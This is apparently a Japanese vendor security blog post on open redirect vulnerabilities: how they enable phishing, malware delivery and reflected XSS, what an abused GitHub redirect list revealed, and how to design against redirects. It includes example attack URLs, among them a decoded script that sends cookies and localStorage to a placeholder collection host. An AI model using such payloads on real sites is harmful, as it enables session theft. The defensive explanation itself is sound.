オープンリダイレクト : 悪用の実態とその対策

オープン URL リダイレクトは、攻撃者による不正なリソースへのユーザーの誘導を容易にする Web アプリケーションのセキュリティ上の問題です。「オープンリダイレクト」とも呼ばれるこの脆弱性クラスは、攻撃者がアプリケーションに情報を渡すことを、アプリケーションが許可する場合に発生し、ユーザーを別のロケーションへと誘導します。ロケーションには攻撃者のコントロール下にある Webサイトやサーバーなどがあり、マルウェアの配布、ユーザーに対するリンクの偽装、悪質なコードの巧妙な実行、広告詐欺の拡散、さらには SEO の不正操作などが行われます。オープンリダイレクトが悪用される仕組みを理解するのは有益ですが、まず何よりも、最初の設計段階でそれを防ぐ方法を知ることが重要です。

Fastly のセキュリティ調査チームが掲げる目標のひとつは、攻撃者によるアプリケーション操作の手口とそれを阻止する方法を理解することです。攻撃者は、目的達成のためなら他の同業者の手法も駆使するため、あらゆる動機による悪質行為の実例を理解すると、攻撃者が同じ手法やツールを悪用する方法を把握しやすくなります。そのため、私たちは調査の手がかりとして、多数のリダイレクトを含む GitHub リポジトリを探すことにしました。

このブログ記事では、調査で明らかになったことを通じて、リダイレクトがどのように使用され、どのように悪用されうるか、またどうすれば悪用を防げるかについてご説明します。 

URL リダイレクトのリスク

長年にわたり、エンドユーザーへの教訓は「クリックする前にリンクを調べる」ことでした。セキュリティトレーニングでも、クリック前にドメインが本物であることを検証する方法が例示されます。

簡単な例で言うと、以下のようなリンクをクリックし、

goodexample.com

以下のようなリンクはクリックしないことです。

goodexample.com.badexample.com
goodexample-com-badexample.com

しかし、このようなトレーニングでは、ユーザーは以下のようにリダイレクトを受け入れるサイトに備えることができません。

goodexample.com/redir.php?q=badexample.com

それどころか、この例では最終的に badexample.com にリダイレクトされてしまうにもかかわらず、エンドユーザーはこれを信用するように教えられています。そのため、自分たちの使用するテクノロジーがユーザーの意図せぬサイトへのリダイレクトに悪用されないようにすることは、サイトの開発者および管理者の責務です。それを怠れば、サイトの評判が傷つき、ユーザーに直接的な被害が及びかねません。

オープンリダイレクトとは

リダイレクトは比較的シンプルなコンセプトです。Web アプリケーションは、通常の運用の一環として、別のサイトへ自動的に移動するようブラウザに命令できます。例えば、サイトの HTTP バージョンから暗号化された HTTPS バージョンへのリダイレクトや、サイトによる URL のエンドポイントの部分の /oldapp から /newapp への変更などの単純な理由で、リダイレクトは頻繁に発生しています。これは、HTTP レスポンス、HTML、または JavaScript によって実行されます。

HTTP レスポンス :

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/newapp

HTML :

<meta http-equiv="refresh" 
content="5;URL='https://www.example.com/newapp'"/>

JavaScript :

window.location.href = 'https://www.example.com/newapp'

これらの例では、ユーザーが http://www.example.com/oldapp にアクセスしてこのようなレスポンスを受け取ると、ブラウザが自動的に https://www.example.com/newapp の新しい URL を開きます。同じドメインにとどまるこれらの例とは異なり、オープンリダイレクトは、意に反してユーザーを攻撃者のコントロール下にある URL にリダイレクトします。

オープンリダイレクトでは、リダイレクト先の URL をアプリケーション外から指定して任意の場所にユーザーを誘導できます。例えば goodexample.com/redir.php?q=badexample.com の URL では、アプリケーションの redir.php がクエリ文字列 q=badexample.com を受け取り、badexample.com にリダイレクトしています。

オープンリダイレクトは、次の3通りの動作に分類できます。

• ユーザーに対し完全に透過的。300番台の HTTP ステータスコードのリダイレクトによるサーバーレスポンスはつねにこのカテゴリに属し、実装によっては HTML/JavaScript によるリダイレクトもこのカテゴリに入る場合があります。

• 動作が延期されるが、ユーザーの操作は不要。上記の HTML の例では、数字の「5」は自動的にリダイレクトされるまでの5秒間の遅延を表します。ページはこれから発生する動作についてユーザーに警告できますが、その後のリダイレクトは自動的に行われます。

• ユーザー入力が必要。ユーザーのクリックがなければリダイレクトされないページがこのカテゴリに入ります。これによって信用を悪用する難易度は大幅に上がり、ユーザーが行おうとしている操作への警告を組み合わせることでリスクを大幅に軽減できます。

リダイレクトの悪用

URL リダイレクト悪用の最も単純な例はフィッシングとマルウェアの配布ですが、クロスサイトスクリプティング (XSS) もリダイレクトによって実行可能です。

フィッシング

攻撃者が不正なリンクを配布する手段として最もよく利用するメカニズムはメールです。メールには罠をしかけることができます。罠とは、巧みな文章で行動を促すメールの文面のことで、攻撃者は標的がリンクをクリックするよう誘導します。

緊急を装った金融詐欺はよく使われる罠の手口ですが、そのほかにも、話題のイベントに関する最新情報で気を引くこともあります。エンドユーザーにとって不自然でなく、急を要すると思われる内容であれば、リンクを開いてしまう可能性があります。

フィッシングを実行する攻撃者は、信頼を確立しているサイトに酷似した外観や雰囲気を再現した不正サイトを作成し、ユーザーがログインを試みるのを待ちます。例えば、攻撃者はコントロール下にあるドメインで銀行の偽サイトをホストします。次に、その銀行の正規サイトでオープンリダイレクトを操作して URL を改ざんし、ユーザーを不正サイトにリダイレクトします。

https://goodbank.example.com/external-link.jspa?
url=https%3A%2F%2Fphishingexample.com/goodbankfrauddept

この例では、攻撃者は goodbank.example.com を悪用して、自分のコントロール下にある phishingexample.com/goodbankfrauddept へリダイレクトします。

マルウェア

オープンリダイレクトを利用したマルウェアの配布は、フィッシングのケースとよく似ています。唯一の違いは、最終的な目的地がフィッシングページではなく、悪意のあるファイルであるという点です。

https://goodhealthsite.example.com/exit.asp?
url=https%3A%2F%2Fmalwareexample.com/currentevent.pdf

この例では、goodhealthsite.example.com のオープンリダイレクトを通じて、ユーザーは malwareexample.com/currentevent.pdf から悪意のあるファイルをダウンロードしてしまいます。

XSS

攻撃者は、オリジン URL によって提供されるコードに対するブラウザ自体の信頼を悪用する場合もあります。JavaScript はリダイレクト先として配信され、それがユーザーに送り返されたときに、ブラウザにコードを実行させます。このタイプの攻撃では、ブラウザがアプリケーションにコードを送信し、それがユーザーのブラウザに反映されるため、「反射型 XSS」と呼ばれています。このタイプの攻撃では、ブラウザが Webサイトのコンテキストでコードを実行するため、ブラウザから悪質なコードを実行したり、さらにはローカルに保存されているデータを盗んだりすることが可能になります。

https://example.com/proxy.php?
link=%3Cscript%3Eimage%20%3D%20new%20Image%28%29%3B%20image.src%3D%22https%3A%
2F%2Fcollectionexample.com%2F%3Fc%3D%22%2Bdocument.cookie%2B%22ls%3D%22%2BJSON.st
ringify%28localStorage%29%3B%3C%2Fscript%3E

以下は、URL のデコードされたバージョンです。

https://example.com/proxy.php?link=<script>image = new Image(); 
image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);
</script>

この例では、ユーザーのブラウザによって、example.com に関するすべての Cookie とローカルに保存されている情報が、攻撃者のコントロール下にあるドメイン collectionexample.com に送信されます。

ただし、最先端のブラウザでは、JavaScript のプロトコルハンドラを Location ヘッダーフィールドで使うことはできせん。つまり、HTTP レスポンスのリダイレクトメソッドで JavaScript が送り込まれても、ブラウザはそれを実行しません。従って、上記の XSS の例が成功するためには、URL がそのページの別の場所で返される必要があります。しかし、リダイレクトの多くの実装では、実際にリダイレクトが行われる前にリダイレクト先をユーザーに表示します。つまりリダイレクトは HTML 内または JavaScript で実行され、このようなページでの XSS 攻撃が可能になります。

リダイレクトの実際の使用状況

Fastly では、これらの手法が実際に使われる状況の理解に日々努めています。最近のデータ解析で、現在はアクティブではない、ある興味深い GitHub ユーザーが発見されました (https://github.com/sonalimandloi/)。

このユーザーがリポジトリに保存していたファイルには、オープンリダイレクトの悪用目的と見られる1万8,000行を超える URL が存在していました。ただし、これらの URL を分類してみると、比較的少ないグループになりました。

• これらの URL の87%に、オープンリダイレクトを悪用してリクエストを13のドメインに誘導しようとするクエリ文字列が含まれています。

• 12%は、ユーザーアカウントが作成されている無関係なサイトへのリンクで、上記のドメインリストへのリンクが含まれています。作成されたユーザー名はサイト間で一貫しています。

• 1%未満は、短縮 URL またはブログ投稿への直接リンクで、どちらにも上記ドメインへのリンクが含まれています。

どんな意図があるのか

Webサイトの価値を数値化する最も一般的な基準は、そのサイトへのリンク数とアクセス数です。結果のスコアは、検索エンジンの結果、広告価値、さらにはそのドメインの販売価格までもを示します。このユーザーの最終目的は不明ですが、サイトの認知度と価値を高めようとしていたことは明らかで、オープンリダイレクトがその手段の一部として利用されていました。

リダイレクト URL

このユーザーの行為は、悪用されている多数のリダイレクトに関する貴重なインサイトをもたらし、ネット上でそれらを発見するための理解を助けてくれます。結局、彼らが行っていた可能性のある SEO 操作を見ることに興味はそそられるものの、私たちのセキュリティ対策にはあまり役に立ちません。

Fastly が調査したファイルのソースデータには、3,000を超える個別のリダイレクトが含まれていました。その多くはユーザーのクリックスルーを必要とし (透過的なリダイレクトでなくても誘導できていた可能性を示しています)、ほとんどが機能しなくなっています。しかし、列挙されてから9か月以上が経った今でも、リストに含まれていた一意のオープンリダイレクト URL のうち23件は、まだ完全な URL リダイレクトの機能を保持しています。

リダイレクトに使用される URL の構造を理解することで、このような URL を見つけやすくなります。発見されたリダイレクトの上位10件は以下の通りです。

このようなリダイレクトの多くが、一般的なセキュリティチームの監視対象として検出されやすいものであることは朗報でしょう。url、external-link、proxy、redir、page、exit などのエンドポイント関連の単語は、意図した範囲外からのリダイレクトができないことを確認してみる価値があります。自社のフットプリント全体でこのようなエンドポイントを特定し、オープンリダイレクトのテストを実施することを強くお勧めします。ユーザーを別の URL にリダイレクトする機能を持つアプリケーション内に、エンコードされた URL とデコードされた URL を挿入することで、テストを実施できます。

不正なものかどうかが分かりにくいエンドポイントもありますが、クエリ引数名が潜在的な問題を見つける手がかりになります。url、link、goto、gotoURL、outLink などの引数があれば、自社組織のフットプリントで実行されるアプリケーションからの潜在的なオープンリダイレクトを特定することができます。

悪用を防止する

リダイレクトを悪用する手口と、そこでよく使用される用語を理解したところで、あらかじめリダイレクトが悪用されないようにアプリケーションを設計する方法をご説明しましょう。プロジェクトの設計段階で鍵となる検討事項は、そもそもリダイレクトをサポートする必要があるのかどうかです。アプリケーションがアウトバウンドリンクを追跡すべき正当な理由はありますが、悪用を防ぐには設計への追加の配慮が必要になります。そのためのオーバーヘッドを追加する価値はあるのか、あるいはリダイレクトをまったく使用しない選択の方が賢明かを、組織は検討すべきです。 

それでもリダイレクトの実装を決定した場合、最善の対策はユーザー入力を完全に排除することです。アプリケーションが要求するときにのみリダイレクトを実行するようにすると、ユーザー入力に関わる攻撃対象領域が大幅に減少します。ユーザー入力がアプリケーションの要件を満たすのに欠かせない場合は、事前に定義された URL のリストで適切に照合を行うことで、悪意のある送信先が挿入される可能性を排除できます。

また、ユーザー入力にもとづくリダイレクトが必要な場合は、リダイレクトに使用できるスキームを制限するのがベストプラクティスです。例えば、入力を http または https の URL に制限すると、前述したような JavaScript のリスクを抑えることができます。

ネット上で観測されたリダイレクトの多くでは、ページ内でユーザーがリンクをクリックするか、ボタンを押さない限り、リダイレクトは実行されません。ユーザーに対し、先へ進むリスクに関する警告が表示される場合も多くあります。しかし残念ながら、急いでいて警告をよく確認しなかったり、警告がまぎらわしいと感じたりすることもあるため、このような警告メッセージはユーザーの行動を変える可能性は否定できないものの、やはり上述のソフトウェア設計によるアプローチをお勧めします。このトピックの詳細については、オープンリダイレクトに関する OWASP のガイダンスをご参照ください。

今後の対策

私たちは、大量のオープンリダイレクトが含まれていたこのリポジトリについて GitHub に知らせ、オープンリダイレクトがまだ機能している脆弱な URL の所有者全員にも悪用の可能性を通知しました。しかし、このユーザーのエンドポイントリストは、氷山の一角に過ぎません。 

自社の環境においてオープンリダイレクトが悪用される可能性を特定し、保護する方法について、一度じっくり考えてみてください。皆さんの開発チームとセキュリティチームが、自社環境でこのような機能を実装する適正な方法を評価する際に、ここでご紹介した情報がお役に立つことを願っています。

組織のセキュリティニーズを満たす Fastly のセキュリティソリューションの詳細については、/products/cloud-security をご覧ください。